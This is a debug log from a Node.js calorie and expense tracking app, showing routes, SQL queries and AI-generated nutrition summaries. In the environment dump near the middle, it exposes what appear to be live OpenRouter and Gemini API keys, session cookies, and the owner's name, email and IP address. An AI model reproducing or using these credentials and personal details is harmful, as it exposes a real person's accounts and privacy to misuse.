2025-12-22T11:33:58.557Z server-connect:output identity: 1
2025-12-22T11:34:01.437Z server-connect:app Executing action step identify
2025-12-22T11:34:01.437Z server-connect:app options: { provider: 'security' }
2025-12-22T11:34:01.437Z server-connect:output identity: 1
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-22 11:46:51' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-22 11:46:51' as DATETIME)"
}
2025-12-22T11:49:00.601Z server-connect:router Serving serverConnect /api/gemini/calculate-calorie
2025-12-22T11:49:00.602Z server-connect:app Executing action step identify
2025-12-22T11:49:00.602Z server-connect:app options: { provider: 'security' }
2025-12-22T11:49:00.602Z server-connect:output identity: 1
2025-12-22T11:49:00.602Z server-connect:app Executing action step restrict
2025-12-22T11:49:00.602Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-22T11:49:00.604Z server-connect:output restrict: undefined
2025-12-22T11:49:00.604Z server-connect:app Executing action step processWithGemini
2025-12-22T11:49:00.604Z server-connect:app options: { request_type: 'calories', raw_text: '{{$_POST.calorie_query}}' }
2025-12-22T11:49:02.397Z server-connect:output calculate_calorie: {
  items: [
    {
      food_name: 'Green Tea',
      quantity: '1 cup (approx 240ml)',
      calories_consumed: 2,
      total_calories: 2,
      protein: 0.48,
      carbs: 0,
      fat: 0,
      lower_calorie_alternatives: [Array],
      skip_level: 1,
      skip_reason: 'Excellent for health, no reason to skip. Contains antioxidants and can aid metabolism.'
    }
  ],
  total_macros: {
    protein: { value: 0.48, unit: 'g' },
    carbs: { value: 0, unit: 'g' },
    fat: { value: 0, unit: 'g' }
  }
}
2025-12-22T11:49:05.680Z server-connect:router Serving serverConnect /api/health/manage-calories
2025-12-22T11:49:05.681Z server-connect:app Executing action step identify
2025-12-22T11:49:05.681Z server-connect:app options: { provider: 'security' }
2025-12-22T11:49:05.681Z server-connect:output identity: 1
2025-12-22T11:49:05.681Z server-connect:app Executing action step restrict
2025-12-22T11:49:05.681Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-22T11:49:05.682Z server-connect:output restrict: undefined
2025-12-22T11:49:05.682Z server-connect:app Executing action step condition
2025-12-22T11:49:05.682Z server-connect:app options: {
  if: '{{$_POST.items.length}}',
  then: {
    steps: {
      name: 'repeat',
      module: 'core',
      action: 'repeat',
      options: [Object],
      output: true,
      meta: [Array],
      outputType: 'array'
    }
  }
}
2025-12-22T11:49:05.682Z server-connect:app Executing action step repeat
2025-12-22T11:49:05.682Z server-connect:app options: {
  repeat: '{{$_POST.items}}',
  outputFields: [],
  exec: {
    steps: {
      name: 'calories',
      module: 'dbupdater',
      action: 'insert',
      options: [Object],
      meta: [Array]
    }
  }
}
2025-12-22T11:49:05.682Z server-connect:app Executing action step insert
2025-12-22T11:49:05.682Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'insert',
    values: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    table: 'calories_tracking',
    returning: 'id',
    query: 'insert into `calories_tracking` (`calories`, `carbs_gm`, `created_at`, `fat_gm`, `intake_date`, `item_name`, `protein_gm`, `quantity`, `replacements`, `skip_level`, `skip_reason`) values (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)',
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ]
  }
}
2025-12-22T11:49:05.684Z server-connect:output calories: { affected: 1, identity: 488 }
2025-12-22T11:49:05.684Z server-connect:output repeat: [ {} ]
2025-12-22T11:49:05.684Z server-connect:output condition: undefined
2025-12-22T11:49:05.949Z server-connect:router Serving templateView /calorie-tracker
2025-12-22T11:49:05.949Z server-connect:app Executing action step identify
2025-12-22T11:49:05.949Z server-connect:app options: { provider: 'security' }
2025-12-22T11:49:05.949Z server-connect:output identity: 1
2025-12-22T11:49:05.949Z server-connect:app Executing action step restrict
2025-12-22T11:49:05.949Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-22T11:49:05.950Z server-connect:output restrict: undefined
2025-12-22T11:49:05.950Z server-connect:router Render template layouts/main
2025-12-22T11:49:05.950Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'cache-control': 'max-age=0',
    'sec-ch-ua': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'sec-ch-ua-mobile': '?0',
    'sec-ch-ua-platform': '"Windows"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'service-worker-navigation-preload': 'true',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    referer: 'https://ems.sanjaychaurasia.xyz/calorie-tracker',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"1505c-6XZ48wk/QlRgtGeezmrNALUh0rI"',
    priority: 'u=0, i',
    cookie: 'security.auth=s%3A4EQ6kg0pjZbMMIeeMiKlvw%3D%3D.i7dYpm%2BV5s5u7jPwLdZgGqvfrrGGQz%2FcrX3EBRp1jCwIbDG9OrKIqgCKJJEeYWxFxmUeY%2BHoow1z48iBDZbQevi8p9zCU%2F12DOYRNvsopahwTRFg9euQ1%2FfUWQiXUgQk%2Bc2qcEe2TV39npYHeRKOJ85nFLAGBnY6EcL9MqKBhwA%3D.w5IiFny35pgWai%2FSIb89X%2B6BNfPbKyHc1V4QLedGWws; your_r_git.sid=s%3AlEBwdcRmk2INjiTvNojIo9YaDtXx_pgj.FK7mrBfKMiz0WjoL3It0w8%2FRGJFLM1IbN%2B2nb17GVCY',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-23T03:42:10.843Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/calorie-tracker',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/calorie-tracker',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_CACHE_CONTROL: 'max-age=0',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SERVICE_WORKER-NAVIGATION-PRELOAD': 'true',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/calorie-tracker',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"1505c-6XZ48wk/QlRgtGeezmrNALUh0rI"',
    HTTP_PRIORITY: 'u=0, i',
    HTTP_COOKIE: 'security.auth=s%3A4EQ6kg0pjZbMMIeeMiKlvw%3D%3D.i7dYpm%2BV5s5u7jPwLdZgGqvfrrGGQz%2FcrX3EBRp1jCwIbDG9OrKIqgCKJJEeYWxFxmUeY%2BHoow1z48iBDZbQevi8p9zCU%2F12DOYRNvsopahwTRFg9euQ1%2FfUWQiXUgQk%2Bc2qcEe2TV39npYHeRKOJ85nFLAGBnY6EcL9MqKBhwA%3D.w5IiFny35pgWai%2FSIb89X%2B6BNfPbKyHc1V4QLedGWws; your_r_git.sid=s%3AlEBwdcRmk2INjiTvNojIo9YaDtXx_pgj.FK7mrBfKMiz0WjoL3It0w8%2FRGJFLM1IbN%2B2nb17GVCY',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/calorie-tracker'
}
2025-12-22T11:49:06.230Z server-connect:app Executing action step identify
2025-12-22T11:49:06.230Z server-connect:app options: { provider: 'security' }
2025-12-22T11:49:06.230Z server-connect:output identity: 1
2025-12-22T11:49:06.867Z server-connect:router Serving serverConnect /api/masters/get-items
2025-12-22T11:49:06.869Z server-connect:router Serving serverConnect /api/access-control/user-info
2025-12-22T11:49:06.871Z server-connect:router Serving serverConnect /api/health/todays-calories
2025-12-22T11:49:06.871Z server-connect:app Executing action step identify
2025-12-22T11:49:06.871Z server-connect:app options: { provider: 'security' }
2025-12-22T11:49:06.871Z server-connect:output identity: 1
2025-12-22T11:49:06.871Z server-connect:app Executing action step restrict
2025-12-22T11:49:06.871Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-22T11:49:06.872Z server-connect:output restrict: undefined
2025-12-22T11:49:06.872Z server-connect:app Executing action step select
2025-12-22T11:49:06.872Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object] ],
    params: [],
    table: { name: 'sub_categories' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `sub_categories`.`subcategory_name` as `item_name`, `sub_categories`.`id` as `item_id`, `categories`.`category_name` from `sub_categories` inner join `categories` on `categories`.`id` = `sub_categories`.`category_id`'
  }
}
2025-12-22T11:49:06.873Z server-connect:app Executing action step identify
2025-12-22T11:49:06.873Z server-connect:app options: { provider: 'security' }
2025-12-22T11:49:06.873Z server-connect:output identity: 1
2025-12-22T11:49:06.873Z server-connect:app Executing action step restrict
2025-12-22T11:49:06.873Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-22T11:49:06.874Z server-connect:router Serving serverConnect /api/gemini/get-health-summary
2025-12-22T11:49:06.874Z server-connect:app Executing action step identify
2025-12-22T11:49:06.874Z server-connect:app options: { provider: 'security' }
2025-12-22T11:49:06.875Z server-connect:output identity: 1
2025-12-22T11:49:06.875Z server-connect:app Executing action step restrict
2025-12-22T11:49:06.875Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-22T11:49:06.875Z server-connect:output restrict: undefined
2025-12-22T11:49:06.875Z server-connect:app Executing action step single
2025-12-22T11:49:06.875Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [],
    table: { name: 'user' },
    primary: 'id',
    joins: [],
    query: 'select `first_name`, `last_name`, `email`, `id` from `user`'
  }
}
2025-12-22T11:49:06.876Z server-connect:output restrict: undefined
2025-12-22T11:49:06.876Z server-connect:app Executing action step single
2025-12-22T11:49:06.876Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object], [Object], [Object], [Object] ],
    params: [ [Object], [Object] ],
    table: { name: 'calories_requirement' },
    joins: [],
    primary: 'id',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `id`, `start_date`, `end_date`, `maintenance_calories`, `weight_kg`, `target_calories` from `calories_requirement` where `calories_requirement`.`start_date` <= ? and `calories_requirement`.`end_date` >= ?'
  }
}
2025-12-22T11:49:06.877Z server-connect:app Executing action step identify
2025-12-22T11:49:06.877Z server-connect:app options: { provider: 'security' }
2025-12-22T11:49:06.877Z server-connect:output identity: 1
2025-12-22T11:49:06.877Z server-connect:app Executing action step restrict
2025-12-22T11:49:06.877Z server-connect:app options: { provider: 'security' }
2025-12-22T11:49:06.877Z server-connect:output restrict: undefined
2025-12-22T11:49:06.877Z server-connect:app Executing action step single
2025-12-22T11:49:06.877Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'health_summary' },
    joins: [],
    primary: 'id',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `summary`, `date` from `health_summary` where `health_summary`.`date` = ?'
  }
}
2025-12-22T11:49:06.879Z server-connect:output list: [
  { item_name: 'Clothing', item_id: 27, category_name: 'Apparel' },
  { item_name: 'Fashion', item_id: 28, category_name: 'Apparel' },
  { item_name: 'Shoes', item_id: 29, category_name: 'Apparel' },
  { item_name: 'Kurta Mens', item_id: 154, category_name: 'Apparel' },
  { item_name: 'Baby Towel', item_id: 161, category_name: 'Apparel' },
  { item_name: 'Bra', item_id: 178, category_name: 'Apparel' },
  { item_name: 'Dress', item_id: 188, category_name: 'Apparel' },
  { item_name: 'Stole', item_id: 193, category_name: 'Apparel' },
  { item_name: 'Leggings', item_id: 206, category_name: 'Apparel' },
  {
    item_name: 'Jockey Thermal Top',
    item_id: 208,
    category_name: 'Apparel'
  },
  { item_name: 'Chudas', item_id: 238, category_name: 'Apparel' },
  {
    item_name: 'Artifial Jwellery',
    item_id: 245,
    category_name: 'Apparel'
  },
  { item_name: 'Blazer', item_id: 267, category_name: 'Apparel' },
  { item_name: 'Nehru Jacket', item_id: 268, category_name: 'Apparel' },
  { item_name: 'Belt', item_id: 270, category_name: 'Apparel' },
  { item_name: 'Loafer', item_id: 272, category_name: 'Apparel' },
  { item_name: 'Pant', item_id: 274, category_name: 'Apparel' },
  {
    item_name: 'Winter Jacket',
    item_id: 275,
    category_name: 'Apparel'
  },
  { item_name: 'Girl Jacket', item_id: 276, category_name: 'Apparel' },
  { item_name: 'T Shirt', item_id: 277, category_name: 'Apparel' },
  { item_name: 'Shopping Bag', item_id: 278, category_name: 'Apparel' },
  { item_name: 'Blouse', item_id: 377, category_name: 'Apparel' },
  { item_name: 'Chappal', item_id: 378, category_name: 'Apparel' },
  { item_name: 'Saree', item_id: 392, category_name: 'Apparel' },
  { item_name: 'Skirt', item_id: 450, category_name: 'Apparel' },
  { item_name: 'Stall', item_id: 477, category_name: 'Apparel' },
  { item_name: 'Shorts', item_id: 529, category_name: 'Apparel' },
  { item_name: 'Juti', item_id: 616, category_name: 'Apparel' },
  {
    item_name: 'Cloth Fitting',
    item_id: 643,
    category_name: 'Apparel'
  },
  { item_name: 'Underwear', item_id: 651, category_name: 'Apparel' },
  { item_name: 'Cosmentics', item_id: 31, category_name: 'Beauty' },
  { item_name: 'Makeup', item_id: 32, category_name: 'Beauty' },
  { item_name: 'Accessories', item_id: 33, category_name: 'Beauty' },
  {
    item_name: 'Gillete Gaurd Machine',
    item_id: 135,
    category_name: 'Beauty'
  },
  {
    item_name: 'Gillete Gaurd Blades',
    item_id: 137,
    category_name: 'Beauty'
  },
  {
    item_name: 'Loreal Parish Condition',
    item_id: 176,
    category_name: 'Beauty'
  },
  {
    item_name: 'Shahnaz Hussain Facial Pack',
    item_id: 179,
    category_name: 'Beauty'
  },
  {
    item_name: 'Elle 18 Crayon',
    item_id: 180,
    category_name: 'Beauty'
  },
  { item_name: 'Hair Gel MG5', item_id: 273, category_name: 'Beauty' },
  {
    item_name: 'Ponds Whity Beuty',
    item_id: 324,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ponds face wash',
    item_id: 326,
    category_name: 'Beauty'
  },
  { item_name: 'Hair clip', item_id: 337, category_name: 'Beauty' },
  { item_name: 'Lotus cream', item_id: 437, category_name: 'Beauty' },
  { item_name: 'Hair Band', item_id: 476, category_name: 'Beauty' },
  {
    item_name: 'Loreal Conditional',
    item_id: 561,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ram Narayan Jwellery',
    item_id: 564,
    category_name: 'Beauty'
  },
  {
    item_name: 'Boutique moisturizing cream',
    item_id: 592,
    category_name: 'Beauty'
  },
  { item_name: 'D tan', item_id: 593, category_name: 'Beauty' },
  { item_name: 'Pani Puri', item_id: 56, category_name: 'Eating Out' },
  { item_name: 'Cold Drink', item_id: 59, category_name: 'Eating Out' },
  { item_name: 'Lunch', item_id: 63, category_name: 'Eating Out' },
  { item_name: 'Dinner', item_id: 64, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Tikka',
    item_id: 67,
    category_name: 'Eating Out'
  },
  { item_name: 'Momos', item_id: 68, category_name: 'Eating Out' },
  { item_name: 'Faluda', item_id: 69, category_name: 'Eating Out' },
  { item_name: 'Pastry', item_id: 72, category_name: 'Eating Out' },
  {
    item_name: 'Fruit Cream',
    item_id: 73,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Rabdi Bottle',
    item_id: 74,
    category_name: 'Eating Out'
  },
  { item_name: 'Idli Fry', item_id: 80, category_name: 'Eating Out' },
  {
    item_name: 'Ferroro Rocher Shake',
    item_id: 82,
    category_name: 'Eating Out'
  },
  { item_name: 'Sandwich', item_id: 83, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple Juice',
    item_id: 84,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Mausmi Juice',
    item_id: 85,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kitkat Shake',
    item_id: 87,
    category_name: 'Eating Out'
  },
  { item_name: 'Tea', item_id: 100, category_name: 'Eating Out' },
  {
    item_name: 'Bread Butter',
    item_id: 104,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Spring Roll',
    item_id: 114,
    category_name: 'Eating Out'
  },
  { item_name: 'Red Bull', item_id: 125, category_name: 'Eating Out' },
  { item_name: 'Nimbuz', item_id: 132, category_name: 'Eating Out' },
  {
    item_name: 'Kadi kachori',
    item_id: 140,
    category_name: 'Eating Out'
  },
  { item_name: 'Nimu soda', item_id: 141, category_name: 'Eating Out' },
  {
    item_name: 'Chocho Lottie Pie',
    item_id: 156,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Manchurian',
    item_id: 157,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Cold coffee',
    item_id: 158,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sprite Cold Drink',
    item_id: 170,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Snickers Chochlate',
    item_id: 171,
    category_name: 'Eating Out'
  },
  { item_name: 'Puff Corn', item_id: 172, category_name: 'Eating Out' },
  {
    item_name: 'Cadbusy Fuse Chochlate',
    item_id: 174,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Five Starts Chochlate',
    item_id: 175,
    category_name: 'Eating Out'
  },
  { item_name: 'Mithai', item_id: 190, category_name: 'Eating Out' },
  {
    item_name: 'Real Juice',
    item_id: 195,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fanta Cold Drink',
    item_id: 198,
    category_name: 'Eating Out'
  },
  { item_name: 'Ice Cream', item_id: 199, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Ready Made',
    item_id: 203,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sunfest Yuppie Noodles',
    item_id: 204,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kingfisher mint cold drink',
    item_id: 205,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Ghewar Mithai',
    item_id: 226,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Moti choor Ladoo',
    item_id: 227,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chichen Tikka Roll',
    item_id: 233,
    category_name: 'Eating Out'
  },
  { item_name: 'Pav Bhaji', item_id: 234, category_name: 'Eating Out' },
  { item_name: 'Fish', item_id: 235, category_name: 'Eating Out' },
  { item_name: 'Dabeli', item_id: 236, category_name: 'Eating Out' },
  {
    item_name: 'Gulab Jamun',
    item_id: 248,
    category_name: 'Eating Out'
  },
  { item_name: 'soya chap', item_id: 255, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple shake',
    item_id: 256,
    category_name: 'Eating Out'
  },
  { item_name: 'Tiffin', item_id: 259, category_name: 'Eating Out' },
  { item_name: 'Pizza', item_id: 260, category_name: 'Eating Out' },
  {
    item_name: 'Sitafal Thick Shake',
    item_id: 261,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fruit Punch thick shake',
    item_id: 262,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chole Kulche',
    item_id: 264,
    category_name: 'Eating Out'
  },
  ... 534 more items
]
2025-12-22T11:49:06.880Z server-connect:output requirements: {
  id: 3,
  start_date: '2025-11-09T18:30:00.000Z',
  end_date: '2025-12-29T18:30:00.000Z',
  maintenance_calories: 2400,
  weight_kg: '71.00',
  target_calories: 1800
}
2025-12-22T11:49:06.880Z server-connect:app Executing action step select
2025-12-22T11:49:06.880Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [],
    params: [ [Object] ],
    table: { name: 'calories_tracking' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select * from `calories_tracking` where `calories_tracking`.`intake_date` = ? order by `id` ASC',
    orders: [ [Object] ]
  }
}
2025-12-22T11:49:06.881Z server-connect:output user_info: {
  first_name: 'Sanjay',
  last_name: 'Kumar',
  email: 'engineer.sanjay20@gmail.com',
  id: 1
}
2025-12-22T11:49:06.881Z server-connect:output summary: {
  summary: {
    rating: 6,
    summary: "Today's nutrition provided a good foundation with post-workout protein and a balanced meal. However, the overall intake appears to be on the lower side, potentially impacting recovery and muscle development goals. Ensuring adequate nutrient density throughout the day will be key for sustained progress.",
    bad_points: [
      'Overall food variety is limited.',
      'Protein intake may be insufficient for muscle development goals.',
      'Potential for lower energy levels due to limited food volume.',
      'Sugar added to milk tea.'
    ],
    good_points: [
      'Post-workout protein intake is present.',
      'Inclusion of a balanced meal with carbohydrates and some protein.',
      'Hydration with green tea is a positive.'
    ],
    suggestions: [
      'Incorporate more protein sources throughout the day, such as lentils, beans, or lean meats.',
      'Increase the variety of vegetables and fruits to enhance nutrient intake.',
      'Consider adding healthy fats like nuts or seeds to meals.',
      'Reduce or eliminate added sugar in beverages.'
    ],
    predicted_weight: 70,
    predicted_weight_trend: 'Slight downward trend with potential for stabilization.'
  },
  date: '2025-12-21T18:30:00.000Z'
}
2025-12-22T11:49:06.882Z server-connect:output item_list: [
  {
    id: 478,
    intake_date: '2025-12-21T18:30:00.000Z',
    item_name: 'Banana',
    calories: 105,
    protein_gm: 1,
    carbs_gm: 27,
    fat_gm: 0,
    quantity: '1 medium',
    replacements: 'Berries (strawberries, blueberries),Apple slices,Cucumber',
    created_at: '2025-12-21T22:14:00.000Z',
    skip_level: 1,
    skip_reason: 'Good source of quick energy and potassium for pre-workout.'
  },
  {
    id: 479,
    intake_date: '2025-12-21T18:30:00.000Z',
    item_name: 'Pre-workout',
    calories: 10,
    protein_gm: 0,
    carbs_gm: 2,
    fat_gm: 0,
    quantity: '1 scoop',
    replacements: 'Black coffee,Green tea',
    created_at: '2025-12-21T22:14:00.000Z',
    skip_level: 1,
    skip_reason: 'Designed to boost energy and performance for workouts. Calories are usually minimal.'
  },
  {
    id: 480,
    intake_date: '2025-12-21T18:30:00.000Z',
    item_name: 'Whey Protein',
    calories: 120,
    protein_gm: 27,
    carbs_gm: 3,
    fat_gm: 2,
    quantity: '1 scoop (27g protein)',
    replacements: 'Casein protein (slower digestion, similar calories),Egg whites (lower fat, more volume)',
    created_at: '2025-12-21T22:14:00.000Z',
    skip_level: 1,
    skip_reason: 'Excellent for muscle development and recovery, especially post-workout.'
  },
  {
    id: 481,
    intake_date: '2025-12-21T18:30:00.000Z',
    item_name: 'Wheat Semolina Pasta (homemade)',
    calories: 150,
    protein_gm: 5,
    carbs_gm: 30,
    fat_gm: 1,
    quantity: '1 serving (approx 100g cooked)',
    replacements: 'Zucchini noodles,Shirataki noodles,Whole wheat pasta (slightly more fiber, similar calories)',
    created_at: '2025-12-21T22:14:00.000Z',
    skip_level: 2,
    skip_reason: 'Provides carbohydrates for energy, but refined semolina can be replaced with whole wheat for more fiber and sustained energy. For muscle development, carbs are important, but quality matters.'
  },
  {
    id: 482,
    intake_date: '2025-12-21T18:30:00.000Z',
    item_name: 'Matar (Green Peas)',
    calories: 40,
    protein_gm: 3,
    carbs_gm: 7,
    fat_gm: 0,
    quantity: 'Mixed with pasta (approx 50g)',
    replacements: 'Spinach,Broccoli,Cauliflower',
    created_at: '2025-12-21T22:14:00.000Z',
    skip_level: 1,
    skip_reason: 'Good source of fiber, vitamins, and some plant-based protein. Excellent addition to a meal.'
  },
  {
    id: 483,
    intake_date: '2025-12-21T18:30:00.000Z',
    item_name: 'Milk Tea',
    calories: 75,
    protein_gm: 4,
    carbs_gm: 8,
    fat_gm: 4,
    quantity: '1 small cup (approx 150ml)',
    replacements: 'Black tea with lemon,Green tea,Herbal tea,Tea with skim milk and no sugar',
    created_at: '2025-12-22T00:19:50.000Z',
    skip_level: 2,
    skip_reason: 'Contains sugar and milk, which add calories. While not terrible, for muscle development, focusing on protein and complex carbs is better. Can be enjoyed in moderation.'
  },
  {
    id: 484,
    intake_date: '2025-12-21T18:30:00.000Z',
    item_name: 'White Sugar',
    calories: 16,
    protein_gm: 0,
    carbs_gm: 4,
    fat_gm: 0,
    quantity: '1 spoon (assuming 1 teaspoon, approx 4g)',
    replacements: 'Artificial sweeteners (stevia, erythritol, sucralose),Less sugar,Small amount of honey (still caloric, but some nutritional benefits)',
    created_at: '2025-12-22T00:19:50.000Z',
    skip_level: 3,
    skip_reason: 'High in empty calories, provides no nutritional value, and can contribute to sugar crashes. For muscle development, these calories are better spent on nutrient-dense foods.'
  },
  {
    id: 485,
    intake_date: '2025-12-21T18:30:00.000Z',
    item_name: 'Green Tea',
    calories: 2,
    protein_gm: 1,
    carbs_gm: 0,
    fat_gm: 0,
    quantity: '1 cup (approx 240ml)',
    replacements: 'Water,Black coffee (no sugar/milk)',
    created_at: '2025-12-22T00:19:50.000Z',
    skip_level: 1,
